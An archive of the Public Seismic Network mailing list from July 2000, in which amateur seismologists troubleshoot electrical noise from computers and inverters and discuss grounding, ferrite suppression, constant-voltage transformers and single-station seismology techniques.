could buy a ready made one. I have never gotten into the guts of my computer so I think I should let someone else explain the details of just how to go about connecting the above dual power supply into your computer. Best regards, Cap __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: noisy power supply From: Karl Cunningham karlc@....... Date: Thu, 06 Jul 2000 07:56:32 -0700 another couple of cents: The isolation transformers used in network cards are good at isolating computers on different ground systems, but aren't very good at filtering out high-frequency noise. This noise can be conducted from one computer through the network cable to the other computer, or radiated from the cable. You might try looping the network cable through a ferrite toroid core several times so that the start and finish ends of the winding are opposite each other on the core. Then experiment with different locations and numbers of these ferrite cores on the network cables. A similar scheme significantly helped interference I had between one of my computers and WWVB reception. -- Karl At 09:54 PM 7/5/2000 -0700, Charles wrote: >Your LAN connection generally >uses isolated transformer coupling and shouldn’t be able to >significantly radiate. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: noisy power supply From: John Hernlund hernlund@....... Date: Thu, 06 Jul 2000 12:09:09 -0700 (MST) On Wed, 5 Jul 2000, Angel Rodriguez wrote: > The new computer that is causing the problem is not even one of the the > seismo computers, it's just on the same network. It's an NT > machine that routes between my local network and the network that I > get my Internet signal from. I had to make an 2.4 ghz link to my house > since the nearest phone line is 6 miles away. > > From your suggestion I assume that it might be that the noise is > coming the the air as RF interference. I will try to make some more > shielding as you suggest. Yes, the RF is usually my problem. We are attempting to make electrical conductivity measurements of mantle materials at high temperature and pressure (in a multiple-anvil device). Since most of this stuff has a low conductivity, we are usually interested in measurements in the kohm-Mohm range. Because the resistances are high, the current generated by our measurements is low, so lends itself to more variation in the ratio V/I. We heat our samples using resistance furnaces and up to 800 W of power, which generates a huge amount of noise. This problem is amplified by the neighboring labs which do secondary ion mass spectroscopy, nuclear magnetic resonance, etc.. We have to shield virtually everything to get a reasonable signal. > I have a new 3 component broadband that I have kludged into Larry's > board. It's flat between 23 second and 40 Hz. I post the PSN files > on an FTP at 200.46.19.178 anonymous no password. > > For now I have only been collecting data but I hope to start some sort > of long term project. If you have any ideas please let me know. I am > trying to make the leap between seismometry and seismology. My > interest run towards local events since the network run by the > University of Panama probably can't see events much below 2.5 Md. > Warmly, > angel You can do a lot with a single station I think. One of the first things I'd try is to measure the P-S converted waves from the moho and the offset time between them, which will give you a depth to the discontinuity beneath the station. The way it works is that a portion of the P-waves coming up transfer their energy into S-waves along with a continued P-wave. The S-wave motion will have to be in-line with the radial direction back to the focus, which confines your search for waveforms in the three components. The vertical record will show a strong P arrival, and then shortly after the P-S converted wave will be seen in the horizontal record. Using knowledge of the two different velocities then, you can find the depth to the moho. This is usually what a lot of the wiggles soon after the first P arrival account for: the noise and reverberations and conversion of the first wave to other phases at discontinuities. Another fun thing to try is to find SS and PP precursors, which are phases that don't bounce off the surface but rather bounce off the discontinuities at 660, 410, and the moho. Because the PP and SS come in after bouncing at the surface these will arrive a little sooner. This will give you depths to discontinuities at points in between the epicenter and your station. Many seismologists are doing both of these types of studies these days, and some are producing maps of the global variations of the discontinuity depths. With an array, you can get a bunch of different mid-points and study the region in more detail...it will be interesting to see what comes out of the upcoming USArray in this kind of study; should be pretty hot. If you have access to a research library, see if you can browse through the Bulletin of the Seismological Society of America (BSSA) which has a lot of interesting articles and different techniques you can apply to seismic data. The seismology stuff is really very easy and simple, but the knowledge you can obtain about the inner Earth with it is pretty cool. Good luck! John Hernlund E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: noisy power supply From: ChrisAtUpw@....... Date: Thu, 6 Jul 2000 21:18:24 EDT In a message dated 05/07/00 05:48:05 GMT Daylight Time, angel@............ writes: > I just got me new computer and much to my chagrin now all four of the > traces on SDR are much noisier. Little spikes, jus ta few counts. When I > turn off the > new computer the noise goes away and when turn it on the noise comes > back. Obviously one solution is to not turn on the computer. Are there > any others? Two quick thoughts. Have you checked that the Earth connection to your power socket really IS Earth and it's resistance? Second, it's a new computer and it is giving problems --- COMPLAIN and demand that the shop get it fixed. Why should YOU have to solve the problem? Regards, Chris __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re[2]: noisy power supply From: Angel Rodriguez angel@............ Date: Sat, 1 Jan 2000 04:34:25 -0500 Hello Chris, Thursday, July 06, 2000, 4:18:24 PM, you wrote: Cac> In a message dated 05/07/00 05:48:05 GMT Daylight Time, angel@............ Cac> writes: >> I just got me new computer and much to my chagrin now all four of the >> traces on SDR are much noisier. Little spikes, jus ta few counts. When I >> turn off the >> new computer the noise goes away and when turn it on the noise comes >> back. Obviously one solution is to not turn on the computer. Are there >> any others? Cac> Two quick thoughts. Have you checked that the Earth connection to your Cac> power socket really IS Earth and it's resistance? Second, it's a new computer Cac> and it is giving problems --- COMPLAIN and demand that the shop get it fixed. Cac> Why should YOU have to solve the problem? Cac> Regards, Cac> Chris Cac> __________________________________________________________ Cac> Public Seismic Network Mailing List (PSN-L) Cac> To leave this list email PSN-L-REQUEST@.............. with Cac> the body of the message (first line only): unsubscribe Cac> See http://www.seismicnet.com/maillist.html for more information. Hi Chris, You should come to Panama and try to return anything! Oh well, living here does have many advantage but returning things isn't one of them. I can hardly get most things! I do know that my Earth connections are not the greatest, but I'm not sure what to do about it. I have a wire going from the equipment rack to a ground rod. The AC power comes from an inverter that is about 75 feet away and also has a ground rod. From the inverter I get the AC via two wires, (no ground wire. The computers and power supplies to the seismos are powered by the inverter (modified sine wave). The monitors and non-essential stuff is powered from the gird and that does have a ground wire that I assume goes to a ground rod, quite possibly the same on the inverter is tied to. The power goes out for more than an hour at least once a week and every day there are dropout that last from a few milliseconds to a second. Clean power is also not one of the thing you live here for! I'm open to any grounding suggestions, I have considered just running a big copper wire to everything and to a central ground rod. Regards, Angel mailto:angel@............ __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: ELF precursor From: Arie Verveer ajbv@............ Date: Fri, 07 Jul 2000 11:59:36 +0800 Hi, In the Larry's "Earthquake data files"; 000706a.au4 is an event file that has another tantalizing trace of the background ELF/ULF data. It may be the quake from the Aleutians? Interesting thing to contemplate. I probable won't post any more files of this nature (ELF) on this site. Unless its very big. Charlie Plyler site at http://www.elfrad.com is the place for ELF/ULF seismic precursor info. Arie. -------------------------------------------------------------------- The following is from the United States Geological Survey, National Earthquake Information Centre: preliminary hypocenter for earthquake of 2000 jul 06, NEAR ISLANDS, ALEUTIAN ISLANDS, about 125 miles (200 km) W of Attu, Alaska: latitude 53.2 degrees north longitude 170.2 degrees east origin time 06 15 27.5 utc depth normal, magnitude 5.5 mb. ..com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: noisy power supply From: "Al Allworth" allworth@.............. Date: Thu, 6 Jul 2000 22:37:12 -0700 Have you tried a large ferrite suppressor bead or two on the power cord? Some are split and clamped around the cord near the power supply. _______________________________ Al Allworth On the Beautiful Southern Oregon Coast ________________________________ ----- Original Message ----- From: To: Sent: Thursday, July 06, 2000 6:18 PM Subject: Re: noisy power supply > In a message dated 05/07/00 05:48:05 GMT Daylight Time, angel@............ > writes: > > > I just got me new computer and much to my chagrin now all four of the > > traces on SDR are much noisier. Little spikes, jus ta few counts. When I > > turn off the > > new computer the noise goes away and when turn it on the noise comes > > back. Obviously one solution is to not turn on the computer. Are there > > any others? > > Two quick thoughts. Have you checked that the Earth connection to your > power socket really IS Earth and it's resistance? Second, it's a new computer > and it is giving problems --- COMPLAIN and demand that the shop get it fixed. > Why should YOU have to solve the problem? > > Regards, > > Chris > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re[2]: noisy power supply From: Angel Rodriguez angel@............ Date: Fri, 7 Jul 2000 19:32:28 -0500 Hello Al, Friday, July 07, 2000, 12:37:12 AM, you wrote: AA> Have you tried a large ferrite suppressor bead or AA> two on the power cord? Some are split and AA> clamped around the cord near the power supply. I'm going to Seattle latter this month and various ferrite cores along with some small inductors and some Radio Shack things are on the shopping list. The only electronic parts I can get are those used to repair TV's and VCR's, :-) it's real limiting some times. -- Best regards, Angel mailto:angel@............ __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: noisy power supply From: BOB BARNS roybar@........ Date: Fri, 07 Jul 2000 10:12:17 -0400 Al, Your mention of ferrite supperssors reminded me that I once reduced high freq. noise from a computer by placing a (split) ferrite block around the cable connecting the keyboard to the computer. Bob Al Allworth wrote: > > Have you tried a large ferrite suppressor bead or > two on the power cord? Some are split and > clamped around the cord near the power supply. > _______________________________ > > Al Allworth > > On the Beautiful Southern Oregon Coast > > ________________________________ > ----- Original Message ----- > From: > To: > Sent: Thursday, July 06, 2000 6:18 PM > Subject: Re: noisy power supply > > > In a message dated 05/07/00 05:48:05 GMT Daylight Time, angel@............ > > writes: > > > > > I just got me new computer and much to my chagrin now all four of the > > > traces on SDR are much noisier. Little spikes, jus ta few counts. > When I > > > turn off the > > > new computer the noise goes away and when turn it on the noise comes > > > back. Obviously one solution is to not turn on the computer. Are > there > > > any others? > > > > Two quick thoughts. Have you checked that the Earth connection to your > > power socket really IS Earth and it's resistance? Second, it's a new > computer > > and it is giving problems --- COMPLAIN and demand that the shop get it > fixed. > > Why should YOU have to solve the problem? > > > > Regards, > > > > Chris > > __________________________________________________________ > > > > Public Seismic Network Mailing List (PSN-L) > > > > To leave this list email PSN-L-REQUEST@.............. with > > the body of the message (first line only): unsubscribe > > See http://www.seismicnet.com/maillist.html for more information. > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Re[2]: noisy power supply From: SW6079@....... Date: Fri, 7 Jul 2000 10:14:38 EDT Hi Angel........ Read your post. I just picked up a mess of Hi mu ferrites (not the split type, you'd have to splice the wire) for a hi power RF amp I'm working on. I'd be happy to send you a few no charge. Mike SW6079@....... __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: McWilliams Magnetometer From: CapAAVSO@....... Date: Fri, 7 Jul 2000 10:28:32 EDT In a message dated 7/6/00 10:18:05 AM Eastern Daylight Time, johnjan@........ writes: << I received the information you sent me on the McWilliams magnetometer. Would it be OK if I posted this information on my web page? If so, how would I credit the design and the text? >> Hi John, OK to put the McWilliams magnetometer article on your web page. Credit it to the September 1998 issue of the Solar Bulletin which is published by the American Association of Variable Star Observers, AAVSO. It is simple easy-to-build instrument that is suitable as a science fair project and yet it is sensitive and accurate enough to make recordings of magnetic storms that are duplicates of those made by nearby USGS magnetic stations. It's hard to tell the difference. Next time you travel to Connecticut let me know and I'll draw you a map how to find my farm and we can enjoy a good visit. I live way back in the woods on a mountain. Best regards, Cap __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: noisy power supply From: Jan Froom Froom@............. Date: Fri, 07 Jul 2000 07:36:26 -0700 Everyone has been talking about power supply noise... but a monitor in video mode probably puts out more noise than anything else. You might want to boot that other computer up in DOS mode and see if you still have the problem. I'm not sure if the video noise comes from the video card or monitor, but it definitely comes on strong when in the video mode. Jan... Everyone has been talking about power supply noise... but a monitor in video mode probably puts out more noise than anything else. You might want to boot that other computer up in DOS mode and see if you still have the problem. I'm not sure if the video noise comes from the video card or monitor, but it definitely comes on strong when in the video mode.

Jan...
 
  Subject: Re: McWilliams Magnetometer From: "J. D. Cooley" jdcooley@............. Date: Fri, 07 Jul 2000 07:59:22 -0700 At 10:28 AM 7/7/00 EDT, you wrote: [snip] > I live way back in the woods on a mountain. > >Best regards, >Cap That explains a lot!! Just kidding Cap, "JD" P.S. For those that don't get the joke, it is an old line. When someone says "I fell on my head when I was a child." You say, "That explains a lot!" "JD" __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: noisy power supply From: SW6079@....... Date: Fri, 7 Jul 2000 11:06:40 EDT If you can stand yet another post.... I just remembered a problem that I had that was very similar. It was caused by the interactions between the modified sine-wave of the inverter and the switching power supply used by the equipment I was using. I solved it finally with an isolation transformer between the two. Most likely this simply acted as a choke, dampening the switching transients. Two identical transformers connected back to back with enough VA would likely serve as well. Good Luck, Mike. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Re[2]: noisy power supply From: Karl Cunningham karlc@....... Date: Fri, 07 Jul 2000 14:34:07 -0700 Angel -- Another thing for your shopping list might be copper strap -- 3 or 4" wide. It is available in some amateur radio or marine radio shops, sometimes marine hardware stores. It's used to provide a good ground for radios on fiberglass boats, but makes good grounding strap in any case. Use it to connect the chassis of various parts of your system together, and to whatever earth connections are the best -- metal water pipes, antenna tower bases, ground rods, etc. Karl At 07:32 PM 7/7/2000 -0500, you wrote: >I'm going to Seattle latter this month and various ferrite cores along with some small >inductors and some Radio Shack things are on the shopping list. The >only electronic parts I can get are those used to repair TV's >and VCR's, :-) it's real limiting some times. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: McWilliams Magnetometer From: CapAAVSO@....... Date: Fri, 7 Jul 2000 17:35:57 EDT In a message dated 7/7/00 11:00:17 AM Eastern Daylight Time, jdcooley@............. writes: << [snip] "I live way back in the woods on a mountain". <> Gee, Thanks, JD, for the "compliment" !! What it explains, actually, is I'm an amateur astronomer and bought the farm on top of the mountain for its dark skies. Now that I'm retired I live here and can go outside any clear night and see the Milky Way in all its glory. And the floor of my basement is bedrock to set my seismometer on !! It's nice and peaceful out here and I don't miss the town where I lived most of my life one bit !! Cap __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: McWilliams Magnetometer From: "Raul J. Alvarez" ralvarez@........ Date: Fri, 07 Jul 2000 15:36:27 -0600 Hi Cap, Was just reading the mail and was about to write the exact words! I also live back in the woods and up a mountain - just on the other side of the country - the Rockies!! Retirement is GREAT! Raul CapAAVSO@....... wrote: > In a message dated 7/7/00 11:00:17 AM Eastern Daylight Time, > jdcooley@............. writes: > > << [snip] > > "I live way back in the woods on a mountain". > > <> > > Gee, Thanks, JD, for the "compliment" !! > > What it explains, actually, is I'm an amateur astronomer and bought the > farm on top of the mountain for its dark skies. Now that I'm retired I live > here and can go outside any clear night and see the Milky Way in all its > glory. And the floor of my basement is bedrock to set my seismometer on !! > It's nice and peaceful out here and I don't miss the town where I lived most > of my life one bit !! > > Cap > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: noisy power supply From: Mark Robinson other@............... Date: Sat, 08 Jul 2000 11:32:32 +1200 Angel, Do I remember correctly that you said that evil word "inverter" ? Do you still get the noise if you run straight off the mains without the inverter ? regards Mark -- Mark G Robinson | ZL2TOD | other@............... ------------------------------------------------ 07 Jul 1479 Leonardo da Vinci is acquitted of homosexuality. 07 Jul 1852 Sir Arthur Conan-Doyle died. 07 Jul 1858 Central Auckland suffers a serious fire. 07 Jul 1916 The New Zealand Labour Party is formed at a meeting in Able Smith Street Wellington. 07 Jul 1919 Jon Pertwee born. 07 Jul 1924 A patent is granted for the self winding watch. 07 Jul 1940 Ringo Starr born. 07 Jul 1941 Bill Oddie born. 07 Jul 1952 Superliner "United States" wins Blue Riband trophy for record Atlantic crossing of 3 days, 10 hours and 40 minutes. 07 Jul 1960 The invention of the laser is announced. 07 Jul 1965 The World licking record is set using 296,872 stamps. 07 Jul 1966 Cpt born. 07 Jul 1968 TThe Yardbirds broke up. Jimmy page formed The New Yardbirds to fulfil concert obligations. The name was c __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re[2]: noisy power supply From: Angel Rodriguez angel@............ Date: Sat, 8 Jul 2000 07:13:53 -0500 Hello Mark, Friday, July 07, 2000, 6:32:32 PM, you wrote: MR> Angel, MR> Do I remember correctly that you said that evil word "inverter" ? MR> Do you still get the noise if you run straight off the mains without the MR> inverter ? MR> regards MR> Mark Hi Mark et. al, Well to be honest I too think that "inverters" are evil, but when power goes out as often as it does here it is a necessary evil. I have been working off-list with Chris and one of the first things he asked me to do was to take the new computer off the inverter and presto things cleared up. Things are actually cleaner now than they have ever been. I still think the problem is complex and many of the suggestions and hintscarla59 will lead me to a clean, well ground system that is non-mains dependent. I have two PSU's that are AT and connect directly of 12 volts, but the new computer is, of course, ATX. AT one point I was going to get rid of the inverter and make the entire system 12 volts. I may still yet because the company makes am ATX variant. Angel mailto:angel@............ __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Re[2]: noisy power supply From: Mariotti Mauro mariottim@...... Date: Sun, 09 Jul 2000 09:06:09 +0200 Be careful when you choice a point to wire the ground. If you use a water pipe, for example, you may risk, if accidentally a 110V power supply line (or here in Europe 220V power supply line) touch for a moment the ground wire you will find one phase of the AC current onto your water pipe system! And if your electric plant it is not protected with a differential interruptor it could be the cause of the DEAD os someone. I think is better to provide a GOOD ground discharge point with planting a copper rod of 1.5 .. 2 mt directly in the ground. If a technician do this it's better. About noise I think this is the main problem of amateur seismologist, due the equipments are very sensitive to electromagnetic fields. Pay attention with ground loops, shielded cables, and circuitry metal cases. In some occasions metal cases induced more disturbances rather than the plastic ones due ground loops caused by metal case to copper pour of the pcb looped again on the metal case and so on with shielded cables that link one board to the next. One counsil to apply is: 1. Place your horizontal sensors in stable position rollin them to one side, the pendulum will set at right or left without oscillate. 2. Lock the mass of your vertical sensor. 3. Now set you gain amplfier to the maximum. 4. watch the chart of SDR of other acquisition prgram 5. if you see the trace moving up and down slowly or quickly be sure that what you se it is'nt a seismic signal. 6. So you can start to make experiments and reduce this noise that surely is electromagnetic noise, 7. after this you can set up again your sensors and you will see the most clean trace you never see before Sincerely Mauro Mariotti At 14.34 07/07/2000 -0700, you wrote: >Angel -- > >Another thing for your shopping list might be copper strap -- 3 or 4" wide. > It is available in some amateur radio or marine radio shops, sometimes >marine hardware stores. It's used to provide a good ground for radios on >fiberglass boats, but makes good grounding strap in any case. > >Use it to connect the chassis of various parts of your system together, and >to whatever earth connections are the best -- metal water pipes, antenna >tower bases, ground rods, etc. > >Karl > > >At 07:32 PM 7/7/2000 -0500, you wrote: >>I'm going to Seattle latter this month and various ferrite cores along >with some small >>inductors and some Radio Shack things are on the shopping list. The >>only electronic parts I can get are those used to repair TV's >>and VCR's, :-) it's real limiting some times. > >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with >the body of the message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: AS1 Seismic System From: The Lahrs johnjan@........ Date: Sun, 09 Jul 2000 07:56:54 -0600 I'm running an AS1 seismic system in my basement to get some experience with it prior to showing it to the teachers attending an Exploratorium workshop the last week of July and the First week of August. For a preliminary look at this turn-key system, see: http://lahr.org/john-jan/psn/as1/as1.html Cheers, John John C. Lahr 1925 Foothills Road Golden, CO 80402 (303) 215-9913 john@........ http://lahr.org/john-jan/science.html __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: McWilliams Magnetometer From: CapAAVSO@....... Date: Sun, 9 Jul 2000 10:24:10 EDT In a message dated 7/7/00 5:41:28 PM Eastern Daylight Time, ralvarez@........ writes: << Was just reading the mail and was about to write the exact words! I also live back in the woods and up a mountain - just on the other side of the country - the Rockies!! Retirement is GREAT! >> Hi Raul, Probably other amateur scientists would choose our good life too if they knew about propane powered refrigerators and how easy it is to run all your stuff with a small generator and some batteries. Running your own phone line from the main road is not difficult either. Too bad most people don't seem to know about these things. Best regards, Cap __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: active filters From: BOB BARNS roybar@........ Date: Sun, 09 Jul 2000 11:59:18 -0400 Hi gang, ebay has a Kron-Hite filter, ebay#376944839. Can't tell what the specs are. I use a Rockland dual tuneable filter with my Lehman -- works great! One is avail. at: http://216.87.163.91/cgi-bin/dinamic/link.cfm?ID=219310&Dealer_ID=43&web_site=http://www.kentronix.com/ for $250 incl. manual. Bob __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: AS1 Seismic System From: Stephen Mortensen mortskm@....... Date: Sun, 09 Jul 2000 11:08:27 -0700 The Lahrs wrote: > > > For a preliminary look at this turn-key system, see: > http://lahr.org/john-jan/psn/as1/as1.html > > Cheers, > John > John C. Lahr > 1925 Foothills Road > Golden, CO 80402 > (303) 215-9913 > john@........ > http://lahr.org/john-jan/science.html Question,,,, I checked the AS1 site above and was interested in the filter that extends the response of the 1.5 natural period to 20 sec,,,,,, How would it be configured to do that???? I spent a couple of hours trying to find the answer in the PSN archives and found a separate add on but didn't notice any add on on the simple diagram or photos of the AS1. For the moment I'm using an STM-8 without the feedback,,,, simple coil and magnet and oil damping,,, it has a natural period of about 4 to 5 seconds. It would be interesting to see if I can extend the response to 20 or 30 seconds with a filter,, until I get the force feedback built. Is the coil in an active filter loop,,,, etc?? Can someone point me to a schematic, a link, an archive,,, etc for the way it could be configured and how would you determine the part values for a given period?? Thanks in advance Stephen Mortensen PSN Station #55 near Pilot Hill Ca 38.828N 120.978W __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: noisy power supply From: Angel Rodriguez angel@............ Date: Mon, 10 Jul 2000 02:22:38 -0500 Hi All, Just a note to thank Chris, Mike and Larry and all the others that helped so much with what started as a noisy ATX PSU and turn out to be completely inadequate grounds and as one person put it an "evil" inverter and the noisy PSU. I may have been pushing the inverter past it's limits. My station is now about 20% quieter that the time of my first post. And when I'm done I hope it will be lots quieter and here are some of the thing I am gong to do. Rework the house and system grounds so that it all converges at a single point. Better ground my equipment rack and all the computer cases. Move away from the "evil" inverter and have everything that needs to survive a prolonged lack of grid power be on my 12v DC system. Install suppressors on all things hooked to the mains especially if they were purchased in Panama and that are not labeled with an EC or FCC rf compliance certification. As I began to unplug Panama purchased components things got quieter. Power supplies in local computer weight half as much as the US bought power supplies and are lots noisier. That was a great observation the Chris made, I would not have though that it would have made so much difference! Install the inductors on Larry's board. Thanks again to all and suggestion are still always welcome! Angel __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Feedback analyzer From: Brett Nordgren bnordgren@.............. Date: Mon, 10 Jul 2000 16:55:07 -0400 To the feedback seismo designers: Check out They are selling Bafco model 911A2D Frequency Response Analyzers. These cover a frequency range of 0.01 hz - 10 khz. The analyzer generates a test signal at its output and then tunes for that exact frequency return-signal at the input terminals. Digital readout is in db amplitude and degrees phase of the measured signal vs the output signal. Should be perfect for checking out low frequency feedback systems (feedback seismometers). They want $275 plus priority mail shipping from Las Vegas (was $47 to New Jersey). Originally these were several thousand dollars. Mine appears to have not been un-packed since it was shipped to the Navy in 1991, and came complete with manual and all accessories. If this is within your budget and you're serious about building feedback seismo's you might want to have a look. Good luck, Brett __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: New Event From: barry lotz gbl@....... Date: Mon, 10 Jul 2000 18:39:58 -0700 Looks like a new event is coming in from the Alaska area. Red Puma: 11Jul2000 01:32:27.3 57.6N 154.5W 56 MW=6.5 M*NEI KODIAK ISLAND REGION 0229 11Jul2000 01:32:18.9 56.2N 153.0W 0 mb=6.3 M*MAD KODIAK ISLAND REGION 0222 11Jul2000 01:32:54.6 61.9N 150.8W 10 M >6.5 A*SED SOUTH Looks like a new event is coming in from the Alaska area. Red Puma:

11Jul2000 01:32:27.3 57.6N 154.5W 56 MW=6.5 M*NEI KODIAK ISLAND REGION      0229
11Jul2000 01:32:18.9 56.2N 153.0W  0 mb=6.3 M*MAD KODIAK ISLAND REGION      0222
11Jul2000 01:32:54.6 61.9N 150.8W 10 M >6.5 A*SED SOUTH Subject: inverters From: S-T Morrissey sean@........... Date: Tue, 11 Jul 2000 13:47:39 -0500 (CDT) I am concerned about the bad rap being laid on inverters to provide uninterruptible and possibly precision AC power. As with any device, there are good designs and there are boxes of compromises that can cause problems. If an inverter is causing more problems than it is solving, it needs to be replaced with a better unit, especially one that has a reserve capacity. I have consistently used inverters to power seismic systems, and several are currently in use at SLU to operate both the analog and the digital systems, including several SUN workstations. These are of the totally uninterruptible design, without any switching to the inverter in the event of an outage: the loads operate continuously from the 1 kilowatt precision inverters, which operate on either 12 or 24 Volt, 200 or 100 ampere supplies, which are connected in parallel with 660 ampere hour battery systems. The "12" volts is actually adjusted to the critical cell voltages of the Lead-Calcium cells, which are warranted for 20 years. I used similar systems at Adak, AK, in the Aleutians. The AC power from the navy was from diesel generators, about the reliability of Angel's. Our systems could operate for at least 6 hours from the batteries, but we also had our own 15 kW diesel backup generator with enough fuel for weeks. The frequency control of the AC power was so poor that ferroresonant (CVT) regulators (constant voltage transformers, or CVTs) were useless, so we used 1.5kw servo controlled variacs to control the line voltage. For frequency dependent mag tape and continuous microfilm recorders, the Topaz inverters had crystal controlled stability. For efficiency, these large inverters synthesized a sine wave output. For the IRIS stations, we use switched-mode, microprocessor controlled inverters by BEST. They provide only line conditioning in normal mode, but sense a brownout within 1 cycle of the AC line and switch in the inverter, starting it with perfect synchronism; the return of the load to the AC line is similarly synchronized with the zero crossing of the sine wave. (Their main weakness is that they sense a "low battery" condition and shut down the inverter to protect the battery, but then continue to run the microprocessor from the battery, which eventually kills it AND the program/memory backup lithium cells if the outage lasts longer than a day. I had to install Hg relays to disconnect the batteries if neither the line or the inverter voltages were present). Their charger program can be adjusted for the capacity of additional external batteries. Similar technology is used in their better (transformer based) PC level UPS boxes of a few hundred watts, such as I have at home, but without access to the microprocessor program. They are not, however designed for long term continuous use, mainly because of inadequate cooling. But a less expensive "sort-of" square-wave output inverter can be a problem. The better ones still use a large transformer, and will run continuously at about 50% of their rating, But some really lightweights use a totally switched mode system to get 110VAC with lots of noise. I have a large transformer coupled one in my field van, and the square wave even messes with the electronic speed control of some VSR drills. The frequency is stabilized, though, so for some electronic applications I use a CVT which cleans up the square wave into a sine wave. As always, the good, the bad, and the ugly of it is that you get what you pay for, so a good initial investment is worth considering. And as with any power switching device, a good design does include proper transient suppression and shielding/grounding. Surprisingly, a significant radiator of noise are the DC input cables, which often are not by-passed with capacitors and isolated with torroid inductors. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: inverters: a question for Sean From: SW6079@....... Date: Tue, 11 Jul 2000 20:31:31 EDT I sure agree w/ you on the less-expensive inverters (transformerless type). I've never 'scoped the output from a CV xfmer while driven by an inverter. Is it really a pure sine? If so, it gives me a few ideas for a situation I'll be facing next year. Thanks, Mike. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: inverters From: ChrisAtUpw@....... Date: Tue, 11 Jul 2000 22:33:01 EDT In a message dated 11/07/00 19:48:48 GMT Daylight Time, sean@........... writes: > I am concerned about the bad rap being laid on inverters to provide > uninterruptible and possibly precision AC power. > As with any device, there are good designs and there are boxes of > compromises that can cause problems. We may not all know what to look for in the advertising blurb and some manufacturers seem very silent about minor details like waveforms and frequency stability. When does 'modified sine wave' = troublesome square wave of no discernable stability or power? > As always, the good, the bad, and the ugly of it is that you get what > you pay for, so a good initial investment is worth considering. > And as with any power switching device, a good design does include proper > transient suppression and shielding/grounding. Surprisingly, a significant > radiator of noise are the DC input cables, which often are not by-passed > with capacitors and isolated with toroid inductors. Yup. My experience:- The shiny new box with brightly coloured knobs is clearly labelled 'no user servicable parts inside' and comes without a circuit diagram. This is 'confidential information' according to the salesperson, who seems to take the production of an adjustable spanner and a cross head screwdriver as a mortal insult..... > I have consistently used inverters to power seismic systems...., > These are of the totally uninterruptible design, without any switching > to the inverter in the event of an outage: the loads operate continuously > from the 1 kilowatt precision inverters, which operate on either > 12 or 24 Volt, 200 or 100 ampere supplies..... Which might cause the love of my life to make some very terminal remarks..... Is there a well suppressed, crystal controlled, sine wave inverter / charger unit of ~200 W continuous rating that won't make a glaringly obvious hole in my monthly paycheck, please? Regards, Chris __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: inverters: a question for Sean From: Brian Chesire BCChesire@................ Date: Tue, 11 Jul 2000 19:35:33 -0700 I missed the begining of this thread, but have the following comments: If CV is a constant voltage transformer, the output is a Square Wave. There are two types of constant voltage transfomers, the standard CV and the harmonic neutralized "CVN". The CVN puts out a low distortion sine wave. Brian Tucson, AZ __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: constant voltage transformers From: S-T Morrissey sean@........... Date: Wed, 12 Jul 2000 14:44:29 -0500 (CDT) Regarding constant voltage transformers, or CVTs. I have been using them for over 30 years, and have always found a sinewave output. There are some better designs that use a larger high voltage AC capacitor for the resonant circuit that are "harmonic neutralized" and regulate to 1% over a +,- 20% input change. These cost about 10% to 20% more than the 3% regulation "line conditioners", which DO put out a sinewave, but with higher distortion. The very nature of CVT design is that it is a true transformer (total isolation of the input from the output), that only passes a sinewave to the output winding at the resonant frequency of the high voltage secondary/capacitor circuit. If you play with one with a variac (variable transformer) input, you can see this: as you increase the input, there is little output until there is enough voltage (about 45 volts AC) to resonant the high voltage secondary, at which point the output jumps to within a few percent of the regulated level. As you drop the input voltage, to as low as 20 VAC, the output remains near 110V as long as the transformer resonants (test with a moderate load, like a lightbulb). SOLA is a major manufacturer, and they claim that their standard conditioners (MCR series) will output a sinewave with 3% THD (total harmonic distortion) with a square wave input. I use a 120 watt CVT with my large frequency controlled converter in my field van to convert the square wave to a sine wave for electronic loads. This is similar to common marine use for AC operated electronics. Since CVTs are passive, they last a long time; the main problem being the high operating temperature of the transformer core that eventually cooks the insulation, and the high voltage (660 volt) AC capacitors that 